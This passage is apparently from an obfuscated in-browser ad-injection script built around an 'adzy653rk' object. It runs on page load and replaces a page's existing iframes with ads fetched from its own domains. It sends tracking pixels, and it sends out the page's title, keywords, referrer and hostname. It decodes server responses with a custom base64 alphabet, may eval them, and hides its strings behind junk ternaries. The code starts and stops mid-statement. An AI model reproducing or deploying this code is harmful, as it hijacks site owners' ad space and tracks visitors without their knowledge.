b=(540,335)>=(145,38)?(1201,\"S\"):(91,1254),c=146<=(1489,582)?(1031,\"5\"):(252,74),d=(58,41)<=(298,99)?(685,\"_\"):\n(213,84)<=(44,76)?(422,31):(14,1),e=\"\",g,h,s,m,t,p,x=s7S5.Y7T;for(a=Q[d+\"ut\"+w+K+d+s7S5.n7T+k+\"code\"](a);s7S5[I+c](x,a.length);)g=a[s7S5.g7T+\"harC\"+s7S5.W9T+s7S5.r7T+s7S5.n7T+s7S5.E9T+s7S5.I7T](x++),h=a[s7S5.G7T+s7S5.j4T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),s=a[s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),m=s7S5[C+r](g,s7S5.V7T),t=111>(67,494)?107:(1207,1483)>(746,910)?(1313,\"F\"):138>=(435,222)?309:(209,1488),g=s7S5[t+c]((g&s7S5.e7T)<<s7S5.C7T,h>>s7S5.C7T),t=s7S5.A5((h&\ns7S5.K7T)<<s7S5.V7T,s>>l),p=s7S5[P+c](s,n),isNaN(h)?t=p=f:isNaN(s)&&(p=f),e=e+this[\"_keySt\"+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](m)+this[\"_key\"+b+s7S5.I7T+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](g)+this[d+\"k\"+s7S5.n7T+\"y\"+b+\"tr\"][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](t)+this[d+\"k\"+s7S5.n7T+\"y\"+b+s7S5.I7T+s7S5.A7T][s7S5.g7T+s7S5.s4T+\"arAt\"](p);return e},decode:function(a){var b=(3,44)>=(480,32)?(136,256):(731,73),c=(475,0)<=(58,543)?(121,\"u\"):(695,\n38),d=459<(262,536)?(888,72):(1044,140),e=(148,306)>=(337,136)?(202,\"H\"):(60,126),q=(283,528)<(3,97)?(261,\"aaa\"):53>(629,332)?(51,\"d\"):1229>(127,1138)?(128,44):(726,741),n=183<=(559,42)?1E4:525>=(4,82)?(35,43):(5,96),s=124>(3,67)?(195,58):(143,637)<=(104,120)?90:(22,141),m=231<(519,98)?\"j\":48<(17,1053)?(23,48):(75,139),t=(401,28)<(510,88)?(28,123):(359,105)>=(730,700)?(1021,2):(101,390),p={},x=[],v=\"\",w=String[\"fr\"+s7S5.W9T+h+s7S5.G4T+s7S5.s4T+s7S5.N7T+\"rCod\"+s7S5.n7T],n=[[65,91],[g,t],[m,s],[n,q],\n[47,m]];for(z in n)for(q=n[z][s7S5.Y7T];s7S5[e+r](q,n[z][s7S5.j7T]);q++)x[\"pu\"+D+s7S5.s4T](w(q));for(q=s7S5.Y7T;s7S5[h+r](q,f);q++)p[x[q]]=q;for(q=s7S5.Y7T;s7S5[M+r](q,a.length);q+=d)for(s=e=s7S5.Y7T,m=a[D+c+G+D+s7S5.I7T+s7S5.A7T+F+k+\"g\"](q,q+d),n=s7S5.Y7T;s7S5.P2(n,m.length);n++)for(x=p[m[s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.E9T+s7S5.I7T](n)],e=s7S5[c+r](e,l)+x,s+=l;s7S5[\"k\"+r](s,s7S5.Z7T);)v+=w(s7S5[F+r](e>>>(s-=s7S5.Z7T),b));return v},_utf8_encode:function(a){var b=70>(376,25)?(621,224):3>=(453,58)?\n(352,2048):(42,88),c=105>=(26,66)?(400,192):(574,60),d=932<(1182,101)?775:(540,121)<=(93,95)?148:(319,561)>=(155,52)?(1234,2048):(214,257),f=(65,346)<=(114,1276)?(341,\"J\"):1351<(222,576)?(576,996):(116,1245),e=(542,339)>(95,102)?(149,127):432<=(130,104)?(114,12):(1021,686),g=79>=(61,853)?(528,\"f\"):(822,133)<=(153,1191)?(276,128):(72,85),k=961>(349,346)?(232,\"B\"):(69,79)>(389,906)?(1088,\"r\"):(1284,32),m=(489,331)<(284,680)?(46,\"l\"):(84,144);a=a[s7S5.A7T+s7S5.n7T+C+m+s7S5.N7T+s7S5.g7T+s7S5.n7T](/\\r\\n/g,\n\"\\n\");for(var m=\"\",t=s7S5.Y7T;s7S5.z2(t,a.length);t++){var p=a[s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.r7T+\"eA\"+s7S5.I7T](t);s7S5[k+r](p,g)?m+=String[w+\"romC\"+s7S5.s4T+s7S5.N7T+\"rCo\"+s7S5.r7T+s7S5.n7T](p):s7S5[s7S5.A7T+r](p,e)&&s7S5[f+r](p,d)?(m+=String[w+\"ro\"+h+\"Ch\"+s7S5.N7T+s7S5.A7T+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[O+r](p>>l,c)),m+=String[\"fromCh\"+s7S5.j4T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5.l2(p&n,g))):(m+=String[\"fr\"+s7S5.W9T+\"mCha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5[N+r](p>>12,\nb)),m+=String[\"from\"+s7S5.G4T+\"har\"+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[G+r](p>>l&n,g)),m+=String[w+\"romChar\"+s7S5.G4T+s7S5.W9T+s7S5.r7T+s7S5.n7T](s7S5.y2(p&n,g)))}return m}};a=Q[s7S5.r7T+s7S5.n7T+s7S5.g7T+s7S5.W9T+s7S5.r7T+s7S5.n7T](function(a){for(var b=708>=(280,660)?(153,\"R\"):(1406,82),c=a[s7S5.I7T+s7S5.W9T+I+C+C+\"er\"+s7S5.G4T+s7S5.N7T+D+s7S5.n7T](),d=a[s7S5.I7T+\"oLowe\"+s7S5.A7T+\"Cas\"+s7S5.n7T](),f=\"\",e=s7S5.Y7T;s7S5[w+r](e,a.length);++e)f+=s7S5[b+B](a[e][s7S5.g7T+\"ha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+\ns7S5.E7T+s7S5.E9T+s7S5.I7T](),c[e][s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.G4T+s7S5.d9T+s7S5.n7T+s7S5.b7T]())?d[e]:c[e];return f}(a));for(A=s7S5.Y7T;s7S5[\"I\"+B](A,a.length);++A)if(v=a[A][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+\"Cod\"+s7S5.n7T+s7S5.b7T](),s7S5.X0(v,65)||s7S5[s7S5.g7T+B](v,e)&&s7S5.V0(v,g)||s7S5[L+B](v,d))return c;return b};(function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\"l\")})();var Pixel=function(a,b){var c={http:\"\",\nhttps:\"\"},d=\"/\",e={};this.setHost=function(a){if(\"object\"==typeof a&&(\"string\"==typeof a.http||a.http instanceof Array)&&(\"string\"==typeof a.https||a.https instanceof Array))c=a;else if(\"string\"==typeof a||a instanceof Array)c={http:a,https:a};return this};this.setPath=function(a){\"string\"==typeof a&&(d=a=a.replace(/^([^\\/]|$)/,\"/$&\"));return this};this.setParameters=function(a){if(\"object\"==typeof a&&!(a instanceof Array))for(var b in a)this.setParameter(b,a[b]);return this};this.setParameter=function(a,\nb){e[a]=b;return this};var g=function(){var a=[],b;for(b in e)null!==e[b]&&void 0!==e[b]&&a.push(encodeURIComponent(b)+\"=\"+encodeURIComponent(e[b]));return a.length?\"?\"+a.join(\"&\"):\"\"},h=function(a){if(\"string\"==typeof a)return a;if(a instanceof Array)return a[Math.round(Math.random()*(a.length-1))]};this.getNonSslHost=function(){return h(c.http)||\"\"};this.getSslHost=function(){return h(c.https)||\"\"};this.buildNonSslUrl=function(){var a=this.getNonSslHost();if(a)return\"http://\"+a+d+g()};this.buildSslUrl=\nfunction(){var a=this.getSslHost();if(a)return\"https://\"+a+d+g()};this.isSecure=function(){return\"https:\"==window.location.protocol};this.toString=function(){return(this.isSecure()?this.buildSslUrl():this.buildNonSslUrl())||\"\"};this.push=function(a){a=a||function(){};var b=this.toString();if(!b)return!1;var c=new Image;c.onload=function(){a.call(this,\"success\",arguments)};c.onerror=function(){a.call(this,\"error\",arguments)};return c.src=b};this.setHost(a);this.setParameters(b)},PixelIPP=function(){return new Pixel({https:[\"winnerican.org\",\n\"winnering.info\",\"winnering.org\"],http:\"directonic.org dirnt.net dirnt.org fasterol.org loveci.info lovek.info lovement.info lovening.info loveral.net lovezhsky.com loversion.org loversion.net lovezhsky.info lovezhsky.net lovezhsky.org proffic.info proffic.org proffic.net proffican.com proffican.net\".split(\" \")},{tid:1,subid:window.adzy653rk.imp.pid,subid1:window.adzy653rk.imp.hid,subid2:window.adzy653rk.imp.eid,subid3:window.adzy653rk.imp.prid,lt:window.adzy653rk.imp.lt})},s7S5={I7T:\"t\",r2:function(a,\nb){return a>b},J2:function(a,b){return a<b},p2:function(a,b){return a>>b},Y0:function(a,b){return a>b},l2:function(a,b){return a|b},k2:function(a,b){return a>=b},u2:function(a,b){return a<<b},e4T:\"Co\",G7T:\"ch\",y2:function(a,b){return a|b},s4T:\"h\",i2:function(a,b){return a%b},C7T:4,Y7T:0,b2:function(a,b){return a|b},j7T:1,P2:function(a,b){return a<b},n7T:\"e\",f2:function(a,b){return a<b},B2:function(a,b){return a<b},A5:function(a,b){return a|b},X0:function(a,b){return a<b},U5:function(a,b){return a<\nb},m2:function(a,b){return a<b},z2:function(a,b){return a<b},A7T:\"r\",j4T:\"ar\",K2:function(a,b){return a|b},E7T:\"de\",K7T:15,N7T:\"a\",I0:function(a,b){return a<b},E0:function(){var a=function(a,b){var e=b&(352<(181,1206)?(93,65535):1268<=(197,48)?(70,24):(581,57));return((b-e)*a|((54,496)>=(1266,406)?(15,0):(538,20)))+(e*a|((109,1186)>(512,400)?(748,0):(360,1325)<=(274,22)?(1351,7):(954,1040)<=(66,435)?(1069,NaN):(130,57)))|(964>=(322,35)?(238,0):(28,1324))},b={};return{z0:a,i0:function(c,d,e){if(void 0!==\nb[e])return b[e];for(var g=131>=(1300,30)?(47,3432918353):(131,72),h=(387,282)<(234,217)?979:949>=(20,130)?(103,461845907):(67,1152),f=e,l=d&-(147>(26,106)?(3,4):(30,537)),n=393<=(224,579)?(110,0):(44,609);n<l;n+=(22,78)<(311,193)?(334,4):6>(67,31)?(417,\"K\"):(330,18))var k=c[(585>(255,136)?(106,\"c\"):(159,504))+(111<=(535,393)?(584,\"h\"):427<(18,57)?43:214<(1071,53)?(10,144):(1269,148))+(36>=(145,1095)?\"c\":(347,142)>(473,85)?(577,\"a\"):(568,998))+((352,49)>=(394,99)?90:1396<=(149,1300)?(1225,130):5<=\n(541,431)?(692,\"r\"):(581,48))+(242<(10,261)?(57,\"C\"):337>=(153,400)?389:1103>(82,1483)?(163,15):(385,583))+(808>=(68,37)?(563,\"o\"):(78,54))+\"deAt\"](n)&255|(c[\"c\"+(140>=(1465,372)?(1495,\"'\"):109<=(25,138)?(236,\"h\"):531<(101,20)?(67,\"l\"):(833,117))+\"arCodeA\"+((342,48)<=(128,325)?(2,\"t\"):(494,105))](n+1)&(17<(12,591)?(90,255):(100,71)))<<(252<(44,818)?(662,8):449>=(31,1115)?(1483,546):(146,81))|(c[(1349>(633,463)?(554,\"c\"):(116,51)>=(257,1072)?451:(800,39))+(91>=(141,94)?243:(138,40)>(131,458)?91:(1327,\n115)<=(22,439)?(559,\"h\"):(87,141))+\"ar\"+(149<=(51,114)?(59,233):118<(1139,173)?(72,\"C\"):(124,95))+(746>=(511,90)?(34,\"o\"):94>=(355,99)?\"H\":(240,108))+\"deA\"+(142<=(784,1264)?(287,\"t\"):(115,1190))](n+(72<=(38,44)?\"GET\":147>(566,60)?(140,2):(151,588)))&255)<<((418,483)>=(579,121)?(69,16):(64,64))|(c[(1022>(44,72)?(554,\"c\"):(910,192))+(298>(12,236)?(17,\"h\"):384>=(445,962)?(92,237):137<=(137,99)?536:(82,121))+((261,370)<(412,490)?(82,\"a\"):860<(48,105)?\"W\":(526,209))+(1261<=(10,981)?65:34<=(220,371)?(144,\n\"r\"):(173,270))+(253>(41,67)?(46,\"C\"):433<=(260,112)?(352,\"ADS\"):(17,491))+(106<=(88,427)?(131,\"o\"):(815,95))+(467>=(145,471)?64:(10,570)<=(42,1164)?(112,\"d\"):282<=(849,67)?(317,365):(87,157))+(289>=(268,1049)?(206,791):61<=(368,1293)?(77,\"e\"):(496,406))+((1281,432)<=(850,149)?(119,224):(561,101)<=(132,1264)?(143,\"A\"):(105,84))+\"t\"](n+((9,144)>(172,76)?(1227,3):(1382,39)))&255)<<(517>(59,23)?(242,24):(258,8)),k=a(k,g),k=(k&(548<=(45,120)?NaN:(69,364)<=(24,973)?(486,131071):123>(100,1339)?406:(311,\n142)))<<((1114,428)<(986,143)?1074:66<=(483,106)?(10,15):(82,1276))|k>>>(1054>=(1,394)?(986,17):(143,32)),k=a(k,h),f=f^k,f=(f&524287)<<13|f>>>(61<(6,98)?(178,19):(394,40)),f=f*(163<(1225,66)?NaN:441>(135,430)?(56,5):(706,361))+(697<=(414,52)?(989,15):(485,1112)>=(1038,144)?(108,3864292196):(1466,1071))|((60,578)>(60,30)?(384,0):(730,1252));k=172>=(491,125)?(30,0):(24,477);switch(d%(815<=(1295,238)?1240:(118,69)<=(410,132)?(68,4):(431,473))){case 22<=(818,90)?(405,3):(0,309)<=(44,273)?(92,\"W\"):(133,\n39):k=(c[\"ch\"+((57,485)>(71,1156)?239:(366,325)>=(52,383)?(122,165):20<=(72,1481)?(116,\"a\"):(4,1250))+(169<(41,364)?(102,\"r\"):(43,295))+(124<=(72,895)?(492,\"C\"):(138,198))+\"od\"+(51!=(65,51)?(140,\"P\"):(51,37)>(122,559)?(77,91):32<=(353,593)?(87,\"e\"):(511,526))+\"At\"](l+2)&255)<<(69<=(118,37)?380:(82,691)>(42,269)?(344,16):(77,92)>(143,228)?122:(76,440));case (1399,345)<(49,115)?(474,149):(3,98)>(1305,319)?(435,573):(110,7)<(1022,23)?(234,2):(489,105):k|=(c[\"char\"+(277<=(866,115)?(138,28):(87,213)>=\n(96,57)?(1220,\"C\"):(135,142)>=(138,1225)?\"A\":(555,124))+(1181<=(98,301)?!1:(104,21)<(574,1285)?(3,\"o\"):(129,316))+(275>(142,768)?72:(70,1097)>=(183,32)?(351,\"d\"):(121,187))+\"eAt\"](l+((1438,675)>=(565,65)?(1237,1):288>=(1283,355)?59:(37,6)))&((1069,119)>=(643,797)?(1307,NaN):(1153,494)>(147,349)?(1098,255):551<(110,30)?(106,NaN):(1397,107)))<<(55<=(100,1018)?(560,8):(32,253)>=(669,636)?NaN:(1177,575)<(45,499)?(22,97):(76,952));case 114>=(148,1445)?568:66<(1252,448)?(445,1):(385,55)>(167,81)?\"V\":(16,\n266):k|=c[((535,197)>=(93,39)?(140,\"c\"):(589,490))+\"harCodeA\"+(23<=(59,890)?(4,\"t\"):531<=(137,256)?(1139,\"D\"):(8,199))](l)&((80,484)<(1493,431)?265:67<(472,764)?(61,255):(1374,233)>(399,1035)?(146,140):(31,130)),k=a(k,g),k=(k&(1052>(0,436)?(108,131071):(1278,652)))<<(67<=(425,206)?(1116,15):(61,1271))|k>>>(880>(603,375)?(1278,17):(215,263)),k=a(k,h),f^=k}f^=d;f^=f>>>(116>(107,985)?(255,1210):45<(450,137)?(95,16):(301,371));f=a(f,296<=(134,59)?(165,1009):(1400,858)>(467,33)?(124,2246822507):107>(132,\n520)?(185,\"T\"):(280,1174));f^=f>>>(606>(799,130)?(607,13):(323,1437)<(96,301)?560:1231<=(488,473)?(463,NaN):(323,146));f=a(f,(1117,1311)>=(567,32)?(11,3266489909):138>(260,206)?\"p\":(100,306));f^=f>>>16;return b[e]=f}}}(),e7T:3,W9T:\"o\",c0:function(a,b){return a>b},g7T:\"c\",Z7T:8,b7T:\"At\",G4T:\"C\",V0:function(a,b){return a<b},V7T:2,d9T:\"od\",F5:function(a,b){return a|b},E9T:\"A\",Q2:function(a,b){return a<b},H2:function(a,b){return a<b},r7T:\"d\",M2:function(a,b){return a|b},R0:function(a,b){return a==b},\nD5:function(a,b){return a&b}},isRvzFrame=function(a){try{return a instanceof HTMLIFrameElement&&a.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode.className&&\"string\"==typeof a.parentNode.parentNode.className&&1<a.parentNode.parentNode.className.length&&removeNode(a.parentNode.parentNode.className.split(\" \")[0])}catch(b){return!1}};window.adzy653rk={version:\"1.0\",nrnm:5,ifr:[],src:[],jbs:{ifr:[],at:[]},imp:{pid:\"1\",eid:\"690\",\nhid:\"11247910384774873450\",prid:100,lt:\"37\",referrer:document.referrer,hostname:window.self.location.hostname,url:window.self.location.hostname,jpshort:\"NGwEOcXJ\",rattr:stngs.attr_name,title:document.title,domain:stngs.szy_domain,sizes:stngs.ad_sizes},topHost:function(){if(window.self!=window.top){var a=decodeURIComponent(window.self.location.search).match(/http:\\/\\/[^&]+/);return a&&a[0]}return null}(),checkIfPartner:function(a){if(window.top==window)return isRvzFrame(a);\nvar b={_728x90:function(a){return a.parentElement&&a.parentElement.nextSibling&&a.parentElement.nextSibling.children&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0].innerHTML.match(/qa/)},_160_600:function(a){return a.parentElement&&a.parentElement.nextSibling&&\"String\"==typeof a.parentElement.nextSibling.innerHTML&&adzy653rk.regexExtTest.test(a.parentElement.nextSibling.innerHTML)},_625x250:function(a){return(a=a.getAttribute(\"style\"))?\na.match(/width:\\s?625px/)&&a.match(/width:\\s?250px/):!1},_345x600:function(a){return(a=a.getAttribute(\"style\"))?a.match(/width:\\s?345px/)&&a.match(/width:\\s?600px/):!1}},c;for(c in b)if(b[c](a))return!0;return!1},getKeywords:function(){var a=adzy653rk.imp.title,b=document.getElementsByTagName(\"meta\");if(b)for(var c=0,d=b.length;c<d;c++)\"keywords\"!=b[c].name.toLowerCase()&&\"description\"!=b[c].name.toLowerCase()||(a+=\" \"+b[c].content.replace(/,/g,\" \"));if(c=document.getElementsByTagName(\"a\")){b={};\nfor(d=0;d<c.length;d++)try{var e=c[d].innerText;\"undefined\"==typeof e&&(e=c[d].textContent);for(var g=e.toLowerCase().split(/[\\s,-]/g),h=0;h<g.length;h++)4>g[h].length||(b[g[h]]?b[g[h]]++:b[g[h]]=1)}catch(f){}var e=[],l;for(l in b)e.push([l,b[l]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(l=0;l<e.length;l++)a+=\" \"+e[l][0]}return a.replace(/[_-]/g,\" \").substring(0,1024)},setMarker:function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\n\"l\")},isAncestor:function(a,b,c){function d(a){return\"object\"==typeof a&&a.top instanceof Window||/^\\s*\\[\\s*object\\s*Window\\s*\\]\\s*/.test(a+\"\")}c=c||30;return a==b?!0:!d(a)||!d(b)||b==window.top||0>=c?!1:adzy653rk.isAncestor(a,b.parent,--c)},listenForMessages:function(){if(window.top===window){var a=adzy653rk;window.addEventListener(\"message\",function(b){try{if(0==((b.data||\"\")+\"\").indexOf(a.l.encode(a.imp.hid+\"/\"+a.imp.eid+\"/\"+a.imp.prid)+\"_\"))switch(b.data.split(\"_\")[1]){case \"IIIFAR\":for(var c=\nwindow.document.getElementsByTagName(\"iframe\"),d=0,e;d<c.length;d++)e=c[d],a.isAncestor(e.contentWindow,b.source)&&(isRvzFrame(e)?b.source.postMessage(b.data+\"_\"+a.l.encode(\"RVZ\"),\"*\"):b.source.postMessage(b.data,\"*\"))}}catch(g){}},!1)}},isAllowRunning:function(a){var b=adzy653rk,c,d=b.imp.hid,e=b.imp.eid,g=b.imp.prid,h=function(e){try{var d=b.l.encode(b.imp.hid+\"/\"+b.imp.eid+\"/\"+b.imp.prid);if(0==((e.data||\"\")+\"\").indexOf(d+\"_IIIFAR\"))if(clearTimeout(c),window.removeEventListener(\"message\",h,!1),\n0==e.data.indexOf(d+\"_IIIFAR_\")){var g=b.l.decode(e.data.split(\"_\")[2]);a(!1,g)}else a(!0);else a(!0)}catch(k){a(!0)}};\"postMessage\"in window&&\"postMessage\"in(window.top||{})?(c=setTimeout(function(){window.document.removeEventListener(\"message\",h,!1);a(!0)},2E3),window.addEventListener(\"message\",h,!1),window.top.postMessage(b.l.encode(d+\"/\"+e+\"/\"+g)+\"_IIIFAR\",\"*\")):a(!0)},run:function(){adzy653rk.setMarker();var a=document.getElementsByTagName(\"iframe\");if(a.length){for(var b=[],c=0;c<a.length;c++)stngs.checkif(a[c])||\nadzy653rk.checkIfPartner(a[c])||(a[c].setAttribute(adzy653rk.imp.rattr,\"true\"),a[c].setAttribute(\"replaced\",\"true\"),b.push(a[c]));if(b.length){var d=function(a){if(a>=b.length){var c=adzy653rk.imp;adzy653rk.jbs.at.length?adzy653rk.getAds(\"//\"+adzy653rk.imp.domain[\"https:\"==window.self.location.protocol?1:0]+\"/?tid=1&size=\"+adzy653rk.jbs.at.join(\",\")+\"&subid=\"+c.pid+\"&subid1=\"+c.hid+\"&subid2=\"+c.eid+\"&subid3=\"+c.prid+\"&lt=\"+c.lt+\"&k=\"+encodeURIComponent(adzy653rk.getKeywords())+(adzy653rk.topHost?\n\"&tdh=\"+encodeURIComponent(adzy653rk.topHost):\"\"),\"seta\"):adzy653rk.destruct()}else{if(c=adzy653rk.getAt(b[a]))(new PixelIPP).setParameter(\"size\",c).push(),adzy653rk.jbs.ifr.push(b[a]),adzy653rk.jbs.at.push(c);setTimeout(function(){d(++a)},1)}};d(0)}else adzy653rk.destruct()}else adzy653rk.destruct()},init:function(){var a=adzy653rk,b=typeof window;window.top===window?(a.listenForMessages(),a.run()):a.isAllowRunning(function(c,d){window.document.body.hasAttribute(\"data-\"+b)||(window.document.body.setAttribute(\"data-\"+\nb,c+\"\"),c&&a.run())})},dfn:function(a){if(adzy653rk.ifr.length&&(a=a?a:1,!(300<a))){var b=function(c){c>=adzy653rk.ifr.length?setTimeout(function(){adzy653rk.dfn(++a)},1200):(adzy653rk.src[c]&&adzy653rk.ifr[c]&&adzy653rk.ifr[c].src!=adzy653rk.src[c][0]&&!adzy653rk.checkIfPartner()&&adzy653rk.ifrset(adzy653rk.ifr[c],adzy653rk.src[c][1],1),setTimeout(function(){b(++c)},1))};b(0)}},destruct:function(a){adzy653rk.jbs={ifr:[],at:[]};adzy653rk.rnm?adzy653rk.rnm++:(adzy653rk.rnm=1,setTimeout(adzy653rk.dfn,\n1200));adzy653rk.rnm<=adzy653rk.nrnm&&setTimeout(adzy653rk.run,1200)},getAt:function(a){a=[parseInt(\"number\"==typeof a.width||\"string\"==typeof a.width&&a.width.match(/[0-9]/)?a.width:a.scrollWidth),parseInt(\"number\"==typeof a.height||\"string\"==typeof a.height&&a.height.match(/[0-9]/)?a.height:a.scrollHeight)];for(var b=adzy653rk.imp.sizes,c=0;c<b.length;c++)if(a[0]>=b[c][0]-5&&a[0]<=b[c][0]+5&&a[1]>=b[c][1]-5&&a[1]<=b[c][1]+5)return b[c][2];return!1},getAds:function(a,b){if(-1<navigator.userAgent.indexOf(\"MSIE\")){var c=\ndocument.createElement(\"script\");c.type=\"text/javascript\";c.src=a+\"&cb=adzy653rk.\"+b;try{window.adzy653rk=adzy653rk,(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(d){}}else{var e=new XMLHttpRequest;e.open(\"GET\",a,!0);e.onreadystatechange=function(){if(4==e.readyState)adzy653rk[b](e.response)};e.send(null)}},seta:function(a){var b=[];try{var c=adzy653rk.l.decode(a),b=\"object\"==typeof JSON&&JSON.parse?JSON.parse(c):eval(c)}catch(d){}if(b instanceof\nArray)for(a=0;a<b.length;a++)b[a]&&adzy653rk.jbs.ifr[a]&&adzy653rk.ifrset(adzy653rk.jbs.ifr[a],b[a]);adzy653rk.destruct()},ifrset:function(a,b,c){c||(adzy653rk.ifr.push(a),b[0]=b[0].replace(/\\[##([^#]+)##\\]/g,function(a,b){return adzy653rk.imp[toekn]?adzy653rk.imp[toekn]:\"\"}));var d=[\"<html><head><style>html,body{width:100%;height:100%;margin:0}</style></head><body>\",\"</body></html>\"];switch(b[1]){case 1:a.src=b[0]+(-1<b[0].indexOf(\"?\")?\"&\"+adzy653rk.imp.jpshort+\"=\"+b[2]+\"_18x18_0\":\"\");break;case 2:a.src=\n\"about:blank\";try{a.contentWindow.document.write(d[0]+'<iframe src=\"'+b[0]+'\" style=\"width:100%;height:100%;border:0;\" scrolling=\"no\" frameborder=\"0\"></iframe>'+d[1])}catch(e){}break;case 3:case 6:a.src=\"about:blank\";try{a.contentWindow.document.write(d[0]+b[0]+d[1])}catch(g){}}c||adzy653rk.src.push([a.src,b])},l:{xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",decode:function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var b=\"\",c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),\ne=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),f=(e&15)<<4|g>>2,l=(g&3)<<6|h,b=b+String.fromCharCode(d<<2|e>>4);64!=g&&0<f&&(b+=String.fromCharCode(f));64!=h&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(b)},_utf8_decode:function(a){for(var b=\"\",c=0;c<a.length;){var d=a.charCodeAt(c);if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var e=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|e&63),c=c+2;else var e=a.charCodeAt(c+\n1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(e&63)<<6|g&63),c=c+3}return b},encode:function(a){a=this._utf8_encode(a);for(var b=\"\",c=0;c<a.length;){var d=a.charCodeAt(c++),e=a.charCodeAt(c++),g=a.charCodeAt(c++),h=d>>2,d=(d&3)<<4|e>>4,f=(e&15)<<2|g>>6,l=g&63;isNaN(e)?f=l=64:isNaN(g)&&(l=64);b=b+this.xlat.charAt(h)+this.xlat.charAt(d)+(64==f?\"=\":this.xlat.charAt(f))+(64==l?\"=\":this.xlat.charAt(l))}return b},_utf8_encode:function(a){if(a&&a.length){for(var b=\"\",c=0;c<a.length;c++){var d=\na.charCodeAt(c);128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d&63|128))}return b}return a}}}};\nif( typeof adzy653rk !== \"undefined\")\n{adzy653rk.location = adzy653rk.imp.referrer+window.self.location.href;if(adzy653rk.location.indexOf(adzy653rk.imp.jpshort+\"=\")==-1 && adzy653rk.location.indexOf(\"adk2.co\")==-1 &&\"enad.hanyibai.com ad.z5x.net satellitetvoffer.co ads.onimp03.com ad.yieldmanager.com fwwv.dixingwang.com cpm.cpc-ads.com ad.adserverplus.com servedby.adxplosions.com cdn.trkclk.net cpm.usabeautygame.com srv.aileronx.com ekda.xbhhh.com vqtm.nongchangwangzhan.com mthd.laorenmeng.com ads.exoclick.com servedby.adsplats.com ads.ad-maven.com ad.adnetwork.net cmne.197865.com owha.vancouverco.com ads.qadservice.com cdn.adk2.com Servedby.bigfineads.com a.ad-sys.com oeha.xbhhh.com s3-us-west-2.amazonaws.com ames.vancouverco.com c5.zedo.com ib.adnxs.com ad.jumbaexchange.com srv1.mediads.info mdeh.xbhhh.com ad.improvemedianetwork.com zvmg.furongshangcheng.com cmen.197865.com ads.networkhm.com ads.impssrv.com media.glispa.com krea.laorenmeng.com tag.contextweb.com ads.mangomediaads.com optimizedby.brealtime.com www.adshost2.com khad.papace.com hnad.hanyibai.com nptv.nongchangwangzhan.com rtb-ads.avazu.net hend.vancouverco.com mpgs.xbhhh.com ads.ventivmedia.com ad.reachjunction.com pzez.nongchangwangzhan.com ads.mediawhite.com cdn.a2ggroup.com cdn.ad-maven.com syzf.xbhhh.com tala.intlsources.com an.z5x.net cemn.197865.com enfl.xbhhh.com fw.adsafeprotected.com cher.ehomestudy.com mtvn.dixingwang.com\".indexOf(window.self.location.hostname)==-1 && adzy653rk.location.indexOf(\"zoneid=13872950\")==-1 && adzy653rk.location.indexOf(\"zoneid=13872950\")==-1 &&adzy653rk.location.indexOf(\"2136&zid=\")==-1 && adzy653rk.location.indexOf(\"1018-1005\")==-1 && adzy653rk.location.indexOf(\"1019-1001\")==-1 && adzy653rk.location.indexOf(\"PT1312\")==-1) adzy653rk.init()}})()}catch(e){};try{(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"NGwEOcXJ=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"NGwEOcXJ=\")){var d=a.match(/NGwEOcXJ=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var 